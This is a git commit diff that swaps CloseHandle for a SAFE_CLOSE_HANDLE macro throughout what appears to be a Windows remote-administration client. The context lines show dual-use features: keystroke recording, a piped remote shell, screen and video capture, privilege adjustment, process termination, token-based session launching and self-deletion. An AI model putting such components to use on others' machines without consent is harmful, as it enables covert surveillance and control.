Fix #266: CloseHandle close an invalid handle

This commit is contained in:
yuanyuanxiang
2025-12-26 15:57:27 +01:00
parent 02d86f6ce7
commit 34e7cdb663
33 changed files with 171 additions and 161 deletions

View File

@@ -55,12 +55,12 @@ CAudio::~CAudio()
if (m_hEventWaveIn) {
SetEvent(m_hEventWaveIn);
CloseHandle(m_hEventWaveIn);
SAFE_CLOSE_HANDLE(m_hEventWaveIn);
m_hEventWaveIn = NULL;
}
if (m_hStartRecord) {
SetEvent(m_hStartRecord);
CloseHandle(m_hStartRecord);
SAFE_CLOSE_HANDLE(m_hStartRecord);
m_hStartRecord = NULL;
}

View File

@@ -92,7 +92,7 @@ CAudioManager::~CAudioManager()
if (m_hWorkThread)
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
if (m_hWorkThread)
CloseHandle(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hWorkThread);
if (m_AudioObject!=NULL) {
delete m_AudioObject;

View File

@@ -82,7 +82,7 @@ DWORD WINAPI StartClientApp(LPVOID param)
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
SAFE_CLOSE_HANDLE(hThread);
if (IsProcessExit()) // process exit
break;
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
@@ -219,7 +219,7 @@ int main(int argc, const char *argv[])
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
if (ERROR_ALREADY_EXISTS == GetLastError()) {
CloseHandle(hMutex);
SAFE_CLOSE_HANDLE(hMutex);
hMutex = NULL;
#ifndef _DEBUG
Mprintf("结束运行.\n");
@@ -257,7 +257,7 @@ int main(int argc, const char *argv[])
ClientApp::Wait();
status = E_STOP;
CloseHandle(hMutex);
SAFE_CLOSE_HANDLE(hMutex);
Mprintf("结束运行.\n");
Logger::getInstance().stop();
@@ -323,7 +323,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
#else
WaitForSingleObject(hThread, INFINITE);
#endif
CloseHandle(hThread);
SAFE_CLOSE_HANDLE(hThread);
}
// 停止运行
@@ -535,7 +535,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
BOOL b = SetEvent(app.g_hEvent);
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
CloseHandle(app.g_hEvent);
SAFE_CLOSE_HANDLE(app.g_hEvent);
app.g_hEvent = NULL;
}
if (app.g_bExit == S_CLIENT_EXIT) {

View File

@@ -213,8 +213,8 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
si.lpDesktop = "WinSta0\\Default";
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
SAFE_CLOSE_HANDLE(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
return true;
}
@@ -395,7 +395,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
dwSizeLow = GetFileSize(hFile, &dwSizeHigh);
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
int nPacketSize = lstrlen(lpszFileName) + 10;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
@@ -447,7 +447,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
lpPacket[0] = TOKEN_FILE_DATA;
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
if (nNumberOfBytesRead > 0) {
int nPacketSize = nNumberOfBytesRead + nHeadLength;
@@ -644,7 +644,7 @@ void CFileManager::GetFileData()
m_nCurrentProcessFileLength = 0;
return;
}
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
Send(bToken, sizeof(bToken));
}
@@ -692,7 +692,7 @@ void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
&dwBytesWrite,
NULL
);
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
// Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE bToken[9];
bToken[0] = TOKEN_DATA_CONTINUE;

View File

@@ -152,7 +152,7 @@ IOCPClient::~IOCPClient()
Disconnect();
if (m_hWorkThread!=NULL) {
CloseHandle(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hWorkThread);
m_hWorkThread = NULL;
}

View File

@@ -75,7 +75,7 @@ CKernelManager::~CKernelManager()
int i = 0;
for (i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) {
CloseHandle(m_hThread[i].h);
SAFE_CLOSE_HANDLE(m_hThread[i].h);
m_hThread[i].h = NULL;
m_hThread[i].run = FALSE;
while (m_hThread[i].p)
@@ -313,13 +313,13 @@ bool IsPowerShellAvailable()
&pi // 进程信息
)) {
Mprintf("CreateProcess failed. Error: %d\n", GetLastError());
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
SAFE_CLOSE_HANDLE(hReadPipe);
SAFE_CLOSE_HANDLE(hWritePipe);
return false;
}
// 关闭管道的写端
CloseHandle(hWritePipe);
SAFE_CLOSE_HANDLE(hWritePipe);
// 读取 PowerShell 输出
std::string result;
@@ -331,7 +331,7 @@ bool IsPowerShellAvailable()
}
// 关闭管道的读端
CloseHandle(hReadPipe);
SAFE_CLOSE_HANDLE(hReadPipe);
// 等待进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
@@ -340,14 +340,14 @@ bool IsPowerShellAvailable()
DWORD exitCode=0;
if (!GetExitCodeProcess(pi.hProcess, &exitCode)) {
Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError());
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
SAFE_CLOSE_HANDLE(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
return false;
}
// 关闭进程和线程句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
SAFE_CLOSE_HANDLE(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
// 解析返回的版本号
if (exitCode == 0) {
@@ -388,8 +388,8 @@ bool StartAdminLauncherAndExit(const char* exePath, bool admin = true)
Mprintf("Run: %s\n", launcherCmd.c_str());
if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
SAFE_CLOSE_HANDLE(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
return true;
}
@@ -426,7 +426,7 @@ bool EnableShutdownPrivilege()
// 获取关机权限的 LUID
if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) {
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return false;
}
@@ -435,11 +435,11 @@ bool EnableShutdownPrivilege()
// 启用关机权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) {
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return false;
}
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return true;
}
@@ -707,7 +707,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("!!! [WARN] Master program is not running.\n");
}
#endif
CloseHandle(hMutex);
SAFE_CLOSE_HANDLE(hMutex);
char buf[100] = {}, *passCode = buf + 5;
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));

View File

@@ -194,14 +194,14 @@ public:
for (const auto& processName : processNames) {
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD><EFBFBD>򷵻<EFBFBD> true
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
CloseHandle(hProcessSnap);
SAFE_CLOSE_HANDLE(hProcessSnap);
return true;
}
}
} while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle(hProcessSnap);
SAFE_CLOSE_HANDLE(hProcessSnap);
return false;
}
virtual uint64_t GetClientID() const override

View File

@@ -61,9 +61,9 @@ CKeyboardManager1::~CKeyboardManager1()
WaitForSingleObject(m_hClipboard, INFINITE);
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
CloseHandle(m_hClipboard);
CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread);
SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
delete m_Buffer;
}

View File

@@ -98,7 +98,7 @@ public:
}
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
LeaveCriticalSection(&m_cs);
return true;
@@ -203,7 +203,7 @@ public:
// д<><D0B4><EFBFBD>ļ<EFBFBD>
DWORD bytesActuallyWritten = 0;
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
LeaveCriticalSection(&m_cs);
delete[] buffer;
return false; // д<><D0B4>ʧ<EFBFBD><CAA7>
@@ -215,7 +215,7 @@ public:
delete[] buffer;
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
CloseHandle(hFile);
SAFE_CLOSE_HANDLE(hFile);
LeaveCriticalSection(&m_cs);
return true;

View File

@@ -340,8 +340,8 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne
{
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
isAuthKernel = TRUE;
CloseHandle(hEvent1);
CloseHandle(hEvent2);
SAFE_CLOSE_HANDLE(hEvent1);
SAFE_CLOSE_HANDLE(hEvent2);
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
str = cfg->GetStr("settings", "Password", "");
delete cfg;

View File

@@ -48,7 +48,7 @@ HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
CloseHandle(arg.hEventTransferArg);
SAFE_CLOSE_HANDLE(arg.hEventTransferArg);
return hThread;
}
@@ -237,7 +237,7 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
CManager::~CManager()
{
if (m_hEventDlgOpen!=NULL) {
CloseHandle(m_hEventDlgOpen);
SAFE_CLOSE_HANDLE(m_hEventDlgOpen);
m_hEventDlgOpen = NULL;
}
}

View File

@@ -153,8 +153,8 @@ bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
&sInfo,
&pInfo);
DWORD err = GetLastError();
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
SAFE_CLOSE_HANDLE(pInfo.hProcess);
SAFE_CLOSE_HANDLE(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, err, 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
@@ -203,7 +203,7 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
SAFE_CLOSE_HANDLE(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
@@ -401,7 +401,7 @@ CScreenManager::~CScreenManager()
WaitForSingleObject(m_hWorkThread, INFINITE);
if (m_hWorkThread!=NULL) {
CloseHandle(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hWorkThread);
}
delete m_ScreenSpyObject;

View File

@@ -225,10 +225,10 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
SAFE_CLOSE_HANDLE(hThread);
}
CloseHandle(g_StopEvent);
SAFE_CLOSE_HANDLE(g_StopEvent);
g_ServiceStatus.dwControlsAccepted = 0;
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;

View File

@@ -136,7 +136,7 @@ void SessionMonitor_Stop(SessionMonitor* self)
if (self->monitorThread) {
WaitForSingleObject(self->monitorThread, 10000);
CloseHandle(self->monitorThread);
SAFE_CLOSE_HANDLE(self->monitorThread);
self->monitorThread = NULL;
}
@@ -297,7 +297,7 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
SAFE_CLOSE_HANDLE(hSnapshot);
return found;
}
@@ -341,7 +341,7 @@ static void TerminateAllAgents(SessionMonitor* self)
}
}
CloseHandle(info->hProcess);
SAFE_CLOSE_HANDLE(info->hProcess);
}
self->agentProcesses.count = 0; // 清空数组
@@ -371,7 +371,7 @@ static void CleanupDeadProcesses(SessionMonitor* self)
(int)info->processId, (int)exitCode);
Mprintf(buf);
CloseHandle(info->hProcess);
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // 不增加 i因为删除了元素
}
@@ -381,7 +381,7 @@ static void CleanupDeadProcesses(SessionMonitor* self)
(int)info->processId);
Mprintf(buf);
CloseHandle(info->hProcess);
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue;
}
@@ -429,7 +429,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
Mprintf(buf);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
@@ -437,8 +437,8 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
Mprintf(buf);
CloseHandle(hDupToken);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
@@ -447,8 +447,8 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
// 获取当前进程路径(启动自己)
if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
Mprintf("GetModuleFileName failed");
CloseHandle(hDupToken);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
@@ -460,8 +460,8 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
sprintf(buf, "ERROR: Executable not found at: %s", exePath);
Mprintf(buf);
CloseHandle(hDupToken);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return FALSE;
}
@@ -482,7 +482,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed");
}
CloseHandle(hUserToken);
SAFE_CLOSE_HANDLE(hUserToken);
}
// 在用户会话中创建进程
@@ -516,7 +516,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
AgentArray_Add(&self->agentProcesses, &info);
LeaveCriticalSection(&self->csProcessList);
CloseHandle(pi.hThread); // 线程句柄可以关闭
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
} else {
err = GetLastError();
sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
@@ -532,8 +532,8 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
}
}
CloseHandle(hDupToken);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hDupToken);
SAFE_CLOSE_HANDLE(hToken);
return result;
}

View File

@@ -4,6 +4,10 @@
#include <windows.h>
#include <wtsapi32.h>
#ifndef SAFE_CLOSE_HANDLE
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
#endif
#ifdef __cplusplus
extern "C" {
#endif

View File

@@ -29,11 +29,11 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD>
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) {
if(m_hReadPipeHandle != NULL) {
CloseHandle(m_hReadPipeHandle);
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if(m_hWritePipeShell != NULL) {
CloseHandle(m_hWritePipeShell);
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
return;
@@ -41,11 +41,11 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) {
if(m_hWritePipeHandle != NULL) {
CloseHandle(m_hWritePipeHandle);
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if(m_hReadPipeShell != NULL) {
CloseHandle(m_hReadPipeShell);
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
return;
@@ -79,13 +79,13 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
CloseHandle(m_hReadPipeHandle);
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
CloseHandle(m_hWritePipeHandle);
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
CloseHandle(m_hReadPipeShell);
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
CloseHandle(m_hWritePipeShell);
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
return;
}
@@ -132,7 +132,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
LocalFree(szTotalBuffer);
}
}
CloseHandle(This->m_hThreadRead);
SAFE_CLOSE_HANDLE(This->m_hThreadRead);
This->m_hThreadRead = NULL;
Mprintf("ReadPipe<EFBFBD>߳<EFBFBD><EFBFBD>˳<EFBFBD>\n");
return 0;
@@ -164,22 +164,22 @@ CShellManager::~CShellManager()
if (m_hReadPipeHandle != NULL) {
DisconnectNamedPipe(m_hReadPipeHandle);
CloseHandle(m_hReadPipeHandle);
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
m_hReadPipeHandle = NULL;
}
if (m_hWritePipeHandle != NULL) {
DisconnectNamedPipe(m_hWritePipeHandle);
CloseHandle(m_hWritePipeHandle);
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
m_hWritePipeHandle = NULL;
}
if (m_hReadPipeShell != NULL) {
DisconnectNamedPipe(m_hReadPipeShell);
CloseHandle(m_hReadPipeShell);
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
m_hReadPipeShell = NULL;
}
if (m_hWritePipeShell != NULL) {
DisconnectNamedPipe(m_hWritePipeShell);
CloseHandle(m_hWritePipeShell);
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
m_hWritePipeShell = NULL;
}
while (m_hThreadRead) {

View File

@@ -122,7 +122,7 @@ LPBYTE CSystemManager::GetProcessList()
}
DebugPrivilege(SE_DEBUG_NAME,FALSE); //<2F><>ԭ<EFBFBD><D4AD>Ȩ
CloseHandle(hSnapshot); //<2F>ͷž<CDB7><C5BE><EFBFBD>
SAFE_CLOSE_HANDLE(hSnapshot); //<2F>ͷž<CDB7><C5BE><EFBFBD>
return szBuffer;
}
@@ -152,7 +152,7 @@ BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
bResult = FALSE;
}
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return bResult;
}
@@ -214,7 +214,7 @@ VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
SAFE_CLOSE_HANDLE(hProcess);
}
DebugPrivilege(SE_DEBUG_NAME, FALSE); //<2F><>ԭ<EFBFBD><D4AD>Ȩ
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>

View File

@@ -71,7 +71,7 @@ CVideoManager::~CVideoManager()
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
m_CapVideo.m_bExit = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hWorkThread);
Mprintf("CVideoManager ~CVideoManager \n");
if (m_pVideoCodec) { //ѹ<><D1B9><EFBFBD><EFBFBD>
delete m_pVideoCodec;

View File

@@ -11,7 +11,7 @@ inline int DebugPrivilege()
// <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD>ռ<D5BC><E4A3AC><EFBFBD><EFBFBD> 3 <20><> LUID
TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
if (!tp) {
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return 1;
}
@@ -19,21 +19,21 @@ inline int DebugPrivilege()
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) {
free(tp);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return 2;
}
tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) {
free(tp);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return 3;
}
tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) {
free(tp);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return 4;
}
tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
@@ -41,7 +41,7 @@ inline int DebugPrivilege()
AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
free(tp);
CloseHandle(hToken);
SAFE_CLOSE_HANDLE(hToken);
return 0;
}
@@ -98,8 +98,8 @@ inline BOOL self_del(int timeoutSecond=3)
si.cb = sizeof(si);
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
SAFE_CLOSE_HANDLE(pi.hThread);
SAFE_CLOSE_HANDLE(pi.hProcess);
return TRUE;
}

View File

@@ -284,9 +284,9 @@ int main(int argc, const char *argv[])
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
CloseHandle(hEvent);
SAFE_CLOSE_HANDLE(hEvent);
}
CloseHandle(hProcess);
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
if (status == 1) {
Mprintf("结束运行.\n");